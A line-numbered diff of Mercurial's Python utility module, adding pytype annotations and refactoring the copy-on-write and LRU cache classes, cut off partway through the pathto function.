1240 if func.__code__.co_argcount == 1:
1241 # we gain a small amount of time because
1241 # we gain a small amount of time because
1242 # we don't need to pack/unpack the list
1242 # we don't need to pack/unpack the list
1243 def f(arg):
1243 def f(arg):
1244 if arg not in cache:
1244 if arg not in cache:
1245 cache[arg] = func(arg)
1245 cache[arg] = func(arg)
1246 return cache[arg]
1246 return cache[arg]
1247
1247
1248 else:
1248 else:
1249
1249
1250 def f(*args):
1250 def f(*args):
1251 if args not in cache:
1251 if args not in cache:
1252 cache[args] = func(*args)
1252 cache[args] = func(*args)
1253 return cache[args]
1253 return cache[args]
1254
1254
1255 return f
1255 return f
1256
1256
1257
1257
1258 class cow(object):
1258 class cow(object):
1259 """helper class to make copy-on-write easier
1259 """helper class to make copy-on-write easier
1260
1260
1261 Call preparewrite before doing any writes.
1261 Call preparewrite before doing any writes.
1262 """
1262 """
1263
1263
1264 def preparewrite(self):
1264 def preparewrite(self):
1265 """call this before writes, return self or a copied new object"""
1265 """call this before writes, return self or a copied new object"""
1266 if getattr(self, '_copied', 0):
1266 if getattr(self, '_copied', 0):
1267 self._copied -= 1
1267 self._copied -= 1
1268 return self.__class__(self)
1268 # Function cow.__init__ expects 1 arg(s), got 2 [wrong-arg-count]
1269 return self.__class__(self) # pytype: disable=wrong-arg-count
1269 return self
1270 return self
1270
1271
1271 def copy(self):
1272 def copy(self):
1272 """always do a cheap copy"""
1273 """always do a cheap copy"""
1273 self._copied = getattr(self, '_copied', 0) + 1
1274 self._copied = getattr(self, '_copied', 0) + 1
1274 return self
1275 return self
1275
1276
1276
1277
1277 class sortdict(collections.OrderedDict):
1278 class sortdict(collections.OrderedDict):
1278 """a simple sorted dictionary
1279 """a simple sorted dictionary
1279
1280
1280 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1281 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1281 >>> d2 = d1.copy()
1282 >>> d2 = d1.copy()
1282 >>> d2
1283 >>> d2
1283 sortdict([('a', 0), ('b', 1)])
1284 sortdict([('a', 0), ('b', 1)])
1284 >>> d2.update([(b'a', 2)])
1285 >>> d2.update([(b'a', 2)])
1285 >>> list(d2.keys()) # should still be in last-set order
1286 >>> list(d2.keys()) # should still be in last-set order
1286 ['b', 'a']
1287 ['b', 'a']
1287 >>> d1.insert(1, b'a.5', 0.5)
1288 >>> d1.insert(1, b'a.5', 0.5)
1288 >>> d1
1289 >>> d1
1289 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1290 sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
1290 """
1291 """
1291
1292
1292 def __setitem__(self, key, value):
1293 def __setitem__(self, key, value):
1293 if key in self:
1294 if key in self:
1294 del self[key]
1295 del self[key]
1295 super(sortdict, self).__setitem__(key, value)
1296 super(sortdict, self).__setitem__(key, value)
1296
1297
1297 if pycompat.ispypy:
1298 if pycompat.ispypy:
1298 # __setitem__() isn't called as of PyPy 5.8.0
1299 # __setitem__() isn't called as of PyPy 5.8.0
1299 def update(self, src, **f):
1300 def update(self, src, **f):
1300 if isinstance(src, dict):
1301 if isinstance(src, dict):
1301 src = pycompat.iteritems(src)
1302 src = pycompat.iteritems(src)
1302 for k, v in src:
1303 for k, v in src:
1303 self[k] = v
1304 self[k] = v
1304 for k in f:
1305 for k in f:
1305 self[k] = f[k]
1306 self[k] = f[k]
1306
1307
1307 def insert(self, position, key, value):
1308 def insert(self, position, key, value):
1308 for (i, (k, v)) in enumerate(list(self.items())):
1309 for (i, (k, v)) in enumerate(list(self.items())):
1309 if i == position:
1310 if i == position:
1310 self[key] = value
1311 self[key] = value
1311 if i >= position:
1312 if i >= position:
1312 del self[k]
1313 del self[k]
1313 self[k] = v
1314 self[k] = v
1314
1315
1315
1316
1316 class cowdict(cow, dict):
1317 class cowdict(cow, dict):
1317 """copy-on-write dict
1318 """copy-on-write dict
1318
1319
1319 Be sure to call d = d.preparewrite() before writing to d.
1320 Be sure to call d = d.preparewrite() before writing to d.
1320
1321
1321 >>> a = cowdict()
1322 >>> a = cowdict()
1322 >>> a is a.preparewrite()
1323 >>> a is a.preparewrite()
1323 True
1324 True
1324 >>> b = a.copy()
1325 >>> b = a.copy()
1325 >>> b is a
1326 >>> b is a
1326 True
1327 True
1327 >>> c = b.copy()
1328 >>> c = b.copy()
1328 >>> c is a
1329 >>> c is a
1329 True
1330 True
1330 >>> a = a.preparewrite()
1331 >>> a = a.preparewrite()
1331 >>> b is a
1332 >>> b is a
1332 False
1333 False
1333 >>> a is a.preparewrite()
1334 >>> a is a.preparewrite()
1334 True
1335 True
1335 >>> c = c.preparewrite()
1336 >>> c = c.preparewrite()
1336 >>> b is c
1337 >>> b is c
1337 False
1338 False
1338 >>> b is b.preparewrite()
1339 >>> b is b.preparewrite()
1339 True
1340 True
1340 """
1341 """
1341
1342
1342
1343
1343 class cowsortdict(cow, sortdict):
1344 class cowsortdict(cow, sortdict):
1344 """copy-on-write sortdict
1345 """copy-on-write sortdict
1345
1346
1346 Be sure to call d = d.preparewrite() before writing to d.
1347 Be sure to call d = d.preparewrite() before writing to d.
1347 """
1348 """
1348
1349
1349
1350
1350 class transactional(object): # pytype: disable=ignored-metaclass
1351 class transactional(object): # pytype: disable=ignored-metaclass
1351 """Base class for making a transactional type into a context manager."""
1352 """Base class for making a transactional type into a context manager."""
1352
1353
1353 __metaclass__ = abc.ABCMeta
1354 __metaclass__ = abc.ABCMeta
1354
1355
1355 @abc.abstractmethod
1356 @abc.abstractmethod
1356 def close(self):
1357 def close(self):
1357 """Successfully closes the transaction."""
1358 """Successfully closes the transaction."""
1358
1359
1359 @abc.abstractmethod
1360 @abc.abstractmethod
1360 def release(self):
1361 def release(self):
1361 """Marks the end of the transaction.
1362 """Marks the end of the transaction.
1362
1363
1363 If the transaction has not been closed, it will be aborted.
1364 If the transaction has not been closed, it will be aborted.
1364 """
1365 """
1365
1366
1366 def __enter__(self):
1367 def __enter__(self):
1367 return self
1368 return self
1368
1369
1369 def __exit__(self, exc_type, exc_val, exc_tb):
1370 def __exit__(self, exc_type, exc_val, exc_tb):
1370 try:
1371 try:
1371 if exc_type is None:
1372 if exc_type is None:
1372 self.close()
1373 self.close()
1373 finally:
1374 finally:
1374 self.release()
1375 self.release()
1375
1376
1376
1377
1377 @contextlib.contextmanager
1378 @contextlib.contextmanager
1378 def acceptintervention(tr=None):
1379 def acceptintervention(tr=None):
1379 """A context manager that closes the transaction on InterventionRequired
1380 """A context manager that closes the transaction on InterventionRequired
1380
1381
1381 If no transaction was provided, this simply runs the body and returns
1382 If no transaction was provided, this simply runs the body and returns
1382 """
1383 """
1383 if not tr:
1384 if not tr:
1384 yield
1385 yield
1385 return
1386 return
1386 try:
1387 try:
1387 yield
1388 yield
1388 tr.close()
1389 tr.close()
1389 except error.InterventionRequired:
1390 except error.InterventionRequired:
1390 tr.close()
1391 tr.close()
1391 raise
1392 raise
1392 finally:
1393 finally:
1393 tr.release()
1394 tr.release()
1394
1395
1395
1396
1396 @contextlib.contextmanager
1397 @contextlib.contextmanager
1397 def nullcontextmanager(enter_result=None):
1398 def nullcontextmanager(enter_result=None):
1398 yield enter_result
1399 yield enter_result
1399
1400
1400
1401
1401 class _lrucachenode(object):
1402 class _lrucachenode(object):
1402 """A node in a doubly linked list.
1403 """A node in a doubly linked list.
1403
1404
1404 Holds a reference to nodes on either side as well as a key-value
1405 Holds a reference to nodes on either side as well as a key-value
1405 pair for the dictionary entry.
1406 pair for the dictionary entry.
1406 """
1407 """
1407
1408
1408 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1409 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1409
1410
1410 def __init__(self):
1411 def __init__(self):
1411 self.next = None
1412 self.next = self
1412 self.prev = None
1413 self.prev = self
1413
1414
1414 self.key = _notset
1415 self.key = _notset
1415 self.value = None
1416 self.value = None
1416 self.cost = 0
1417 self.cost = 0
1417
1418
1418 def markempty(self):
1419 def markempty(self):
1419 """Mark the node as emptied."""
1420 """Mark the node as emptied."""
1420 self.key = _notset
1421 self.key = _notset
1421 self.value = None
1422 self.value = None
1422 self.cost = 0
1423 self.cost = 0
1423
1424
1424
1425
1425 class lrucachedict(object):
1426 class lrucachedict(object):
1426 """Dict that caches most recent accesses and sets.
1427 """Dict that caches most recent accesses and sets.
1427
1428
1428 The dict consists of an actual backing dict - indexed by original
1429 The dict consists of an actual backing dict - indexed by original
1429 key - and a doubly linked circular list defining the order of entries in
1430 key - and a doubly linked circular list defining the order of entries in
1430 the cache.
1431 the cache.
1431
1432
1432 The head node is the newest entry in the cache. If the cache is full,
1433 The head node is the newest entry in the cache. If the cache is full,
1433 we recycle head.prev and make it the new head. Cache accesses result in
1434 we recycle head.prev and make it the new head. Cache accesses result in
1434 the node being moved to before the existing head and being marked as the
1435 the node being moved to before the existing head and being marked as the
1435 new head node.
1436 new head node.
1436
1437
1437 Items in the cache can be inserted with an optional "cost" value. This is
1438 Items in the cache can be inserted with an optional "cost" value. This is
1438 simply an integer that is specified by the caller. The cache can be queried
1439 simply an integer that is specified by the caller. The cache can be queried
1439 for the total cost of all items presently in the cache.
1440 for the total cost of all items presently in the cache.
1440
1441
1441 The cache can also define a maximum cost. If a cache insertion would
1442 The cache can also define a maximum cost. If a cache insertion would
1442 cause the total cost of the cache to go beyond the maximum cost limit,
1443 cause the total cost of the cache to go beyond the maximum cost limit,
1443 nodes will be evicted to make room for the new code. This can be used
1444 nodes will be evicted to make room for the new code. This can be used
1444 to e.g. set a max memory limit and associate an estimated bytes size
1445 to e.g. set a max memory limit and associate an estimated bytes size
1445 cost to each item in the cache. By default, no maximum cost is enforced.
1446 cost to each item in the cache. By default, no maximum cost is enforced.
1446 """
1447 """
1447
1448
1448 def __init__(self, max, maxcost=0):
1449 def __init__(self, max, maxcost=0):
1449 self._cache = {}
1450 self._cache = {}
1450
1451
1451 self._head = head = _lrucachenode()
1452 self._head = _lrucachenode()
1452 head.prev = head
1453 head.next = head
1454 self._size = 1
1453 self._size = 1
1455 self.capacity = max
1454 self.capacity = max
1456 self.totalcost = 0
1455 self.totalcost = 0
1457 self.maxcost = maxcost
1456 self.maxcost = maxcost
1458
1457
1459 def __len__(self):
1458 def __len__(self):
1460 return len(self._cache)
1459 return len(self._cache)
1461
1460
1462 def __contains__(self, k):
1461 def __contains__(self, k):
1463 return k in self._cache
1462 return k in self._cache
1464
1463
1465 def __iter__(self):
1464 def __iter__(self):
1466 # We don't have to iterate in cache order, but why not.
1465 # We don't have to iterate in cache order, but why not.
1467 n = self._head
1466 n = self._head
1468 for i in range(len(self._cache)):
1467 for i in range(len(self._cache)):
1469 yield n.key
1468 yield n.key
1470 n = n.next
1469 n = n.next
1471
1470
1472 def __getitem__(self, k):
1471 def __getitem__(self, k):
1473 node = self._cache[k]
1472 node = self._cache[k]
1474 self._movetohead(node)
1473 self._movetohead(node)
1475 return node.value
1474 return node.value
1476
1475
1477 def insert(self, k, v, cost=0):
1476 def insert(self, k, v, cost=0):
1478 """Insert a new item in the cache with optional cost value."""
1477 """Insert a new item in the cache with optional cost value."""
1479 node = self._cache.get(k)
1478 node = self._cache.get(k)
1480 # Replace existing value and mark as newest.
1479 # Replace existing value and mark as newest.
1481 if node is not None:
1480 if node is not None:
1482 self.totalcost -= node.cost
1481 self.totalcost -= node.cost
1483 node.value = v
1482 node.value = v
1484 node.cost = cost
1483 node.cost = cost
1485 self.totalcost += cost
1484 self.totalcost += cost
1486 self._movetohead(node)
1485 self._movetohead(node)
1487
1486
1488 if self.maxcost:
1487 if self.maxcost:
1489 self._enforcecostlimit()
1488 self._enforcecostlimit()
1490
1489
1491 return
1490 return
1492
1491
1493 if self._size < self.capacity:
1492 if self._size < self.capacity:
1494 node = self._addcapacity()
1493 node = self._addcapacity()
1495 else:
1494 else:
1496 # Grab the last/oldest item.
1495 # Grab the last/oldest item.
1497 node = self._head.prev
1496 node = self._head.prev
1498
1497
1499 # At capacity. Kill the old entry.
1498 # At capacity. Kill the old entry.
1500 if node.key is not _notset:
1499 if node.key is not _notset:
1501 self.totalcost -= node.cost
1500 self.totalcost -= node.cost
1502 del self._cache[node.key]
1501 del self._cache[node.key]
1503
1502
1504 node.key = k
1503 node.key = k
1505 node.value = v
1504 node.value = v
1506 node.cost = cost
1505 node.cost = cost
1507 self.totalcost += cost
1506 self.totalcost += cost
1508 self._cache[k] = node
1507 self._cache[k] = node
1509 # And mark it as newest entry. No need to adjust order since it
1508 # And mark it as newest entry. No need to adjust order since it
1510 # is already self._head.prev.
1509 # is already self._head.prev.
1511 self._head = node
1510 self._head = node
1512
1511
1513 if self.maxcost:
1512 if self.maxcost:
1514 self._enforcecostlimit()
1513 self._enforcecostlimit()
1515
1514
1516 def __setitem__(self, k, v):
1515 def __setitem__(self, k, v):
1517 self.insert(k, v)
1516 self.insert(k, v)
1518
1517
1519 def __delitem__(self, k):
1518 def __delitem__(self, k):
1520 self.pop(k)
1519 self.pop(k)
1521
1520
1522 def pop(self, k, default=_notset):
1521 def pop(self, k, default=_notset):
1523 try:
1522 try:
1524 node = self._cache.pop(k)
1523 node = self._cache.pop(k)
1525 except KeyError:
1524 except KeyError:
1526 if default is _notset:
1525 if default is _notset:
1527 raise
1526 raise
1528 return default
1527 return default
1529
1528
1530 assert node is not None # help pytype
1529 assert node is not None # help pytype
1531 value = node.value
1530 value = node.value
1532 self.totalcost -= node.cost
1531 self.totalcost -= node.cost
1533 node.markempty()
1532 node.markempty()
1534
1533
1535 # Temporarily mark as newest item before re-adjusting head to make
1534 # Temporarily mark as newest item before re-adjusting head to make
1536 # this node the oldest item.
1535 # this node the oldest item.
1537 self._movetohead(node)
1536 self._movetohead(node)
1538 self._head = node.next
1537 self._head = node.next
1539
1538
1540 return value
1539 return value
1541
1540
1542 # Additional dict methods.
1541 # Additional dict methods.
1543
1542
1544 def get(self, k, default=None):
1543 def get(self, k, default=None):
1545 try:
1544 try:
1546 return self.__getitem__(k)
1545 return self.__getitem__(k)
1547 except KeyError:
1546 except KeyError:
1548 return default
1547 return default
1549
1548
1550 def peek(self, k, default=_notset):
1549 def peek(self, k, default=_notset):
1551 """Get the specified item without moving it to the head
1550 """Get the specified item without moving it to the head
1552
1551
1553 Unlike get(), this doesn't mutate the internal state. But be aware
1552 Unlike get(), this doesn't mutate the internal state. But be aware
1554 that it doesn't mean peek() is thread safe.
1553 that it doesn't mean peek() is thread safe.
1555 """
1554 """
1556 try:
1555 try:
1557 node = self._cache[k]
1556 node = self._cache[k]
1557 assert node is not None # help pytype
1558 return node.value
1558 return node.value
1559 except KeyError:
1559 except KeyError:
1560 if default is _notset:
1560 if default is _notset:
1561 raise
1561 raise
1562 return default
1562 return default
1563
1563
1564 def clear(self):
1564 def clear(self):
1565 n = self._head
1565 n = self._head
1566 while n.key is not _notset:
1566 while n.key is not _notset:
1567 self.totalcost -= n.cost
1567 self.totalcost -= n.cost
1568 n.markempty()
1568 n.markempty()
1569 n = n.next
1569 n = n.next
1570
1570
1571 self._cache.clear()
1571 self._cache.clear()
1572
1572
1573 def copy(self, capacity=None, maxcost=0):
1573 def copy(self, capacity=None, maxcost=0):
1574 """Create a new cache as a copy of the current one.
1574 """Create a new cache as a copy of the current one.
1575
1575
1576 By default, the new cache has the same capacity as the existing one.
1576 By default, the new cache has the same capacity as the existing one.
1577 But, the cache capacity can be changed as part of performing the
1577 But, the cache capacity can be changed as part of performing the
1578 copy.
1578 copy.
1579
1579
1580 Items in the copy have an insertion/access order matching this
1580 Items in the copy have an insertion/access order matching this
1581 instance.
1581 instance.
1582 """
1582 """
1583
1583
1584 capacity = capacity or self.capacity
1584 capacity = capacity or self.capacity
1585 maxcost = maxcost or self.maxcost
1585 maxcost = maxcost or self.maxcost
1586 result = lrucachedict(capacity, maxcost=maxcost)
1586 result = lrucachedict(capacity, maxcost=maxcost)
1587
1587
1588 # We copy entries by iterating in oldest-to-newest order so the copy
1588 # We copy entries by iterating in oldest-to-newest order so the copy
1589 # has the correct ordering.
1589 # has the correct ordering.
1590
1590
1591 # Find the first non-empty entry.
1591 # Find the first non-empty entry.
1592 n = self._head.prev
1592 n = self._head.prev
1593 while n.key is _notset and n is not self._head:
1593 while n.key is _notset and n is not self._head:
1594 n = n.prev
1594 n = n.prev
1595
1595
1596 # We could potentially skip the first N items when decreasing capacity.
1596 # We could potentially skip the first N items when decreasing capacity.
1597 # But let's keep it simple unless it is a performance problem.
1597 # But let's keep it simple unless it is a performance problem.
1598 for i in range(len(self._cache)):
1598 for i in range(len(self._cache)):
1599 result.insert(n.key, n.value, cost=n.cost)
1599 result.insert(n.key, n.value, cost=n.cost)
1600 n = n.prev
1600 n = n.prev
1601
1601
1602 return result
1602 return result
1603
1603
1604 def popoldest(self):
1604 def popoldest(self):
1605 """Remove the oldest item from the cache.
1605 """Remove the oldest item from the cache.
1606
1606
1607 Returns the (key, value) describing the removed cache entry.
1607 Returns the (key, value) describing the removed cache entry.
1608 """
1608 """
1609 if not self._cache:
1609 if not self._cache:
1610 return
1610 return
1611
1611
1612 # Walk the linked list backwards starting at tail node until we hit
1612 # Walk the linked list backwards starting at tail node until we hit
1613 # a non-empty node.
1613 # a non-empty node.
1614 n = self._head.prev
1614 n = self._head.prev
1615
1616 assert n is not None # help pytype
1617
1615 while n.key is _notset:
1618 while n.key is _notset:
1616 n = n.prev
1619 n = n.prev
1617
1620
1618 assert n is not None # help pytype
1621 assert n is not None # help pytype
1619
1622
1620 key, value = n.key, n.value
1623 key, value = n.key, n.value
1621
1624
1622 # And remove it from the cache and mark it as empty.
1625 # And remove it from the cache and mark it as empty.
1623 del self._cache[n.key]
1626 del self._cache[n.key]
1624 self.totalcost -= n.cost
1627 self.totalcost -= n.cost
1625 n.markempty()
1628 n.markempty()
1626
1629
1627 return key, value
1630 return key, value
1628
1631
1629 def _movetohead(self, node):
1632 def _movetohead(self, node):
1630 """Mark a node as the newest, making it the new head.
1633 """Mark a node as the newest, making it the new head.
1631
1634
1632 When a node is accessed, it becomes the freshest entry in the LRU
1635 When a node is accessed, it becomes the freshest entry in the LRU
1633 list, which is denoted by self._head.
1636 list, which is denoted by self._head.
1634
1637
1635 Visually, let's make ``N`` the new head node (* denotes head):
1638 Visually, let's make ``N`` the new head node (* denotes head):
1636
1639
1637 previous/oldest <-> head <-> next/next newest
1640 previous/oldest <-> head <-> next/next newest
1638
1641
1639 ----<->--- A* ---<->-----
1642 ----<->--- A* ---<->-----
1640 | |
1643 | |
1641 E <-> D <-> N <-> C <-> B
1644 E <-> D <-> N <-> C <-> B
1642
1645
1643 To:
1646 To:
1644
1647
1645 ----<->--- N* ---<->-----
1648 ----<->--- N* ---<->-----
1646 | |
1649 | |
1647 E <-> D <-> C <-> B <-> A
1650 E <-> D <-> C <-> B <-> A
1648
1651
1649 This requires the following moves:
1652 This requires the following moves:
1650
1653
1651 C.next = D (node.prev.next = node.next)
1654 C.next = D (node.prev.next = node.next)
1652 D.prev = C (node.next.prev = node.prev)
1655 D.prev = C (node.next.prev = node.prev)
1653 E.next = N (head.prev.next = node)
1656 E.next = N (head.prev.next = node)
1654 N.prev = E (node.prev = head.prev)
1657 N.prev = E (node.prev = head.prev)
1655 N.next = A (node.next = head)
1658 N.next = A (node.next = head)
1656 A.prev = N (head.prev = node)
1659 A.prev = N (head.prev = node)
1657 """
1660 """
1658 head = self._head
1661 head = self._head
1659 # C.next = D
1662 # C.next = D
1660 node.prev.next = node.next
1663 node.prev.next = node.next
1661 # D.prev = C
1664 # D.prev = C
1662 node.next.prev = node.prev
1665 node.next.prev = node.prev
1663 # N.prev = E
1666 # N.prev = E
1664 node.prev = head.prev
1667 node.prev = head.prev
1665 # N.next = A
1668 # N.next = A
1666 # It is tempting to do just "head" here, however if node is
1669 # It is tempting to do just "head" here, however if node is
1667 # adjacent to head, this will do bad things.
1670 # adjacent to head, this will do bad things.
1668 node.next = head.prev.next
1671 node.next = head.prev.next
1669 # E.next = N
1672 # E.next = N
1670 node.next.prev = node
1673 node.next.prev = node
1671 # A.prev = N
1674 # A.prev = N
1672 node.prev.next = node
1675 node.prev.next = node
1673
1676
1674 self._head = node
1677 self._head = node
1675
1678
1676 def _addcapacity(self):
1679 def _addcapacity(self):
1677 """Add a node to the circular linked list.
1680 """Add a node to the circular linked list.
1678
1681
1679 The new node is inserted before the head node.
1682 The new node is inserted before the head node.
1680 """
1683 """
1681 head = self._head
1684 head = self._head
1682 node = _lrucachenode()
1685 node = _lrucachenode()
1683 head.prev.next = node
1686 head.prev.next = node
1684 node.prev = head.prev
1687 node.prev = head.prev
1685 node.next = head
1688 node.next = head
1686 head.prev = node
1689 head.prev = node
1687 self._size += 1
1690 self._size += 1
1688 return node
1691 return node
1689
1692
1690 def _enforcecostlimit(self):
1693 def _enforcecostlimit(self):
1691 # This should run after an insertion. It should only be called if total
1694 # This should run after an insertion. It should only be called if total
1692 # cost limits are being enforced.
1695 # cost limits are being enforced.
1693 # The most recently inserted node is never evicted.
1696 # The most recently inserted node is never evicted.
1694 if len(self) <= 1 or self.totalcost <= self.maxcost:
1697 if len(self) <= 1 or self.totalcost <= self.maxcost:
1695 return
1698 return
1696
1699
1697 # This is logically equivalent to calling popoldest() until we
1700 # This is logically equivalent to calling popoldest() until we
1698 # free up enough cost. We don't do that since popoldest() needs
1701 # free up enough cost. We don't do that since popoldest() needs
1699 # to walk the linked list and doing this in a loop would be
1702 # to walk the linked list and doing this in a loop would be
1700 # quadratic. So we find the first non-empty node and then
1703 # quadratic. So we find the first non-empty node and then
1701 # walk nodes until we free up enough capacity.
1704 # walk nodes until we free up enough capacity.
1702 #
1705 #
1703 # If we only removed the minimum number of nodes to free enough
1706 # If we only removed the minimum number of nodes to free enough
1704 # cost at insert time, chances are high that the next insert would
1707 # cost at insert time, chances are high that the next insert would
1705 # also require pruning. This would effectively constitute quadratic
1708 # also require pruning. This would effectively constitute quadratic
1706 # behavior for insert-heavy workloads. To mitigate this, we set a
1709 # behavior for insert-heavy workloads. To mitigate this, we set a
1707 # target cost that is a percentage of the max cost. This will tend
1710 # target cost that is a percentage of the max cost. This will tend
1708 # to free more nodes when the high water mark is reached, which
1711 # to free more nodes when the high water mark is reached, which
1709 # lowers the chances of needing to prune on the subsequent insert.
1712 # lowers the chances of needing to prune on the subsequent insert.
1710 targetcost = int(self.maxcost * 0.75)
1713 targetcost = int(self.maxcost * 0.75)
1711
1714
1712 n = self._head.prev
1715 n = self._head.prev
1713 while n.key is _notset:
1716 while n.key is _notset:
1714 n = n.prev
1717 n = n.prev
1715
1718
1716 while len(self) > 1 and self.totalcost > targetcost:
1719 while len(self) > 1 and self.totalcost > targetcost:
1717 del self._cache[n.key]
1720 del self._cache[n.key]
1718 self.totalcost -= n.cost
1721 self.totalcost -= n.cost
1719 n.markempty()
1722 n.markempty()
1720 n = n.prev
1723 n = n.prev
1721
1724
1722
1725
1723 def lrucachefunc(func):
1726 def lrucachefunc(func):
1724 '''cache most recent results of function calls'''
1727 '''cache most recent results of function calls'''
1725 cache = {}
1728 cache = {}
1726 order = collections.deque()
1729 order = collections.deque()
1727 if func.__code__.co_argcount == 1:
1730 if func.__code__.co_argcount == 1:
1728
1731
1729 def f(arg):
1732 def f(arg):
1730 if arg not in cache:
1733 if arg not in cache:
1731 if len(cache) > 20:
1734 if len(cache) > 20:
1732 del cache[order.popleft()]
1735 del cache[order.popleft()]
1733 cache[arg] = func(arg)
1736 cache[arg] = func(arg)
1734 else:
1737 else:
1735 order.remove(arg)
1738 order.remove(arg)
1736 order.append(arg)
1739 order.append(arg)
1737 return cache[arg]
1740 return cache[arg]
1738
1741
1739 else:
1742 else:
1740
1743
1741 def f(*args):
1744 def f(*args):
1742 if args not in cache:
1745 if args not in cache:
1743 if len(cache) > 20:
1746 if len(cache) > 20:
1744 del cache[order.popleft()]
1747 del cache[order.popleft()]
1745 cache[args] = func(*args)
1748 cache[args] = func(*args)
1746 else:
1749 else:
1747 order.remove(args)
1750 order.remove(args)
1748 order.append(args)
1751 order.append(args)
1749 return cache[args]
1752 return cache[args]
1750
1753
1751 return f
1754 return f
1752
1755
1753
1756
1754 class propertycache(object):
1757 class propertycache(object):
1755 def __init__(self, func):
1758 def __init__(self, func):
1756 self.func = func
1759 self.func = func
1757 self.name = func.__name__
1760 self.name = func.__name__
1758
1761
1759 def __get__(self, obj, type=None):
1762 def __get__(self, obj, type=None):
1760 result = self.func(obj)
1763 result = self.func(obj)
1761 self.cachevalue(obj, result)
1764 self.cachevalue(obj, result)
1762 return result
1765 return result
1763
1766
1764 def cachevalue(self, obj, value):
1767 def cachevalue(self, obj, value):
1765 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1768 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1766 obj.__dict__[self.name] = value
1769 obj.__dict__[self.name] = value
1767
1770
1768
1771
1769 def clearcachedproperty(obj, prop):
1772 def clearcachedproperty(obj, prop):
1770 '''clear a cached property value, if one has been set'''
1773 '''clear a cached property value, if one has been set'''
1771 prop = pycompat.sysstr(prop)
1774 prop = pycompat.sysstr(prop)
1772 if prop in obj.__dict__:
1775 if prop in obj.__dict__:
1773 del obj.__dict__[prop]
1776 del obj.__dict__[prop]
1774
1777
1775
1778
1776 def increasingchunks(source, min=1024, max=65536):
1779 def increasingchunks(source, min=1024, max=65536):
1777 """return no less than min bytes per chunk while data remains,
1780 """return no less than min bytes per chunk while data remains,
1778 doubling min after each chunk until it reaches max"""
1781 doubling min after each chunk until it reaches max"""
1779
1782
1780 def log2(x):
1783 def log2(x):
1781 if not x:
1784 if not x:
1782 return 0
1785 return 0
1783 i = 0
1786 i = 0
1784 while x:
1787 while x:
1785 x >>= 1
1788 x >>= 1
1786 i += 1
1789 i += 1
1787 return i - 1
1790 return i - 1
1788
1791
1789 buf = []
1792 buf = []
1790 blen = 0
1793 blen = 0
1791 for chunk in source:
1794 for chunk in source:
1792 buf.append(chunk)
1795 buf.append(chunk)
1793 blen += len(chunk)
1796 blen += len(chunk)
1794 if blen >= min:
1797 if blen >= min:
1795 if min < max:
1798 if min < max:
1796 min = min << 1
1799 min = min << 1
1797 nmin = 1 << log2(blen)
1800 nmin = 1 << log2(blen)
1798 if nmin > min:
1801 if nmin > min:
1799 min = nmin
1802 min = nmin
1800 if min > max:
1803 if min > max:
1801 min = max
1804 min = max
1802 yield b''.join(buf)
1805 yield b''.join(buf)
1803 blen = 0
1806 blen = 0
1804 buf = []
1807 buf = []
1805 if buf:
1808 if buf:
1806 yield b''.join(buf)
1809 yield b''.join(buf)
1807
1810
1808
1811
1809 def always(fn):
1812 def always(fn):
1810 return True
1813 return True
1811
1814
1812
1815
1813 def never(fn):
1816 def never(fn):
1814 return False
1817 return False
1815
1818
1816
1819
1817 def nogc(func):
1820 def nogc(func):
1818 """disable garbage collector
1821 """disable garbage collector
1819
1822
1820 Python's garbage collector triggers a GC each time a certain number of
1823 Python's garbage collector triggers a GC each time a certain number of
1821 container objects (the number being defined by gc.get_threshold()) are
1824 container objects (the number being defined by gc.get_threshold()) are
1822 allocated even when marked not to be tracked by the collector. Tracking has
1825 allocated even when marked not to be tracked by the collector. Tracking has
1823 no effect on when GCs are triggered, only on what objects the GC looks
1826 no effect on when GCs are triggered, only on what objects the GC looks
1824 into. As a workaround, disable GC while building complex (huge)
1827 into. As a workaround, disable GC while building complex (huge)
1825 containers.
1828 containers.
1826
1829
1827 This garbage collector issue have been fixed in 2.7. But it still affect
1830 This garbage collector issue have been fixed in 2.7. But it still affect
1828 CPython's performance.
1831 CPython's performance.
1829 """
1832 """
1830
1833
1831 def wrapper(*args, **kwargs):
1834 def wrapper(*args, **kwargs):
1832 gcenabled = gc.isenabled()
1835 gcenabled = gc.isenabled()
1833 gc.disable()
1836 gc.disable()
1834 try:
1837 try:
1835 return func(*args, **kwargs)
1838 return func(*args, **kwargs)
1836 finally:
1839 finally:
1837 if gcenabled:
1840 if gcenabled:
1838 gc.enable()
1841 gc.enable()
1839
1842
1840 return wrapper
1843 return wrapper
1841
1844
1842
1845
1843 if pycompat.ispypy:
1846 if pycompat.ispypy:
1844 # PyPy runs slower with gc disabled
1847 # PyPy runs slower with gc disabled
1845 nogc = lambda x: x
1848 nogc = lambda x: x
1846
1849
1847
1850
1848 def pathto(root, n1, n2):
1851 def pathto(root, n1, n2):
1849 # type: (bytes, bytes, bytes) -> bytes
1852 # type: (bytes, bytes, bytes) -> bytes
1850 """return the relative path from one place to another.
1853 """return the relative path from one place to another.
1851 root should use os.sep to separate directories
1854 root should use os.sep to separate directories
1852 n1 should use os.sep to separate directories
1855 n1 should use os.sep to separate directories
1853 n2 should use "/" to separate directories
1856 n2 should use "/" to separate directories
1854 returns an os.sep-separated path.
1857 returns an os.sep-separated path.
1855
1858
1856 If n1 is a relative path, it's assumed it's
1859 If n1 is a relative path, it's assumed it's
1857 relative to root.
1860 relative to root.
1858 n2 should always be relative to root.
1861 n2 should always be relative to root.
1859 """
1862 """
1860 if not n1:
1863 if not n1:
1861 return localpath(n2)
1864 return localpath(n2)
1862 if os.path.isabs(n1):
1865 if os.path.isabs(n1):
1863 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1866 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1864 return os.path.join(root, localpath(n2))
1867 return os.path.join(root, localpath(n2))
1865 n2 = b'/'.join((pconvert(root), n2))
1868 n2 = b'/'.join((pconvert(root), n2))
1866 a, b = splitpath(n1), n2.split(b'/')
1869 a, b = splitpath(n1), n2.split(b'/')
1867 a.reverse()
1870 a.reverse()
1868 b.reverse()
1871 b.reverse()
1869 while a and b and a[-1] == b[-1]:
1872 while a and b and a[-1] == b[-1]:
1870 a.pop()
1873 a.pop()
1871 b.pop()
